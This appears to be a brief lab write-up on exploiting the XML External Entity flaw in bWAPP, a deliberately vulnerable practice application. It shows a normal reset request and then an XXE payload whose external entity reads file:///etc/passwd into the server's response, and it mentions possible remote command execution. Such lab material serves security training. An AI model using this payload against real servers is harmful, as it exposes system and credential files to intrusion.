bWAPP XML External Entity Attacks (XXE)

In bWAPP There is a module for XML External Entity Attacks. Our goal is to exploit this vulnerability and read local sensitive files from the remote server.it works by xml input containing references to an external entity which is processed by a weakly configured XML parser. The attack can be used to read local files on the server and in some case execute remote commands on the remote server.

Our XML we send to the server

<reset><login>bee</login><secret>Any bugs?</secret></reset>

This is the result we get back

If we modify the xml to include entities we can include local file on the machine and see it in the resulting output.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<reset><login>&xxe;</login><secret>Anything</secret></reset>

If we include some xml specifying a file to read, we can read that file with xxe vulnerabitlty.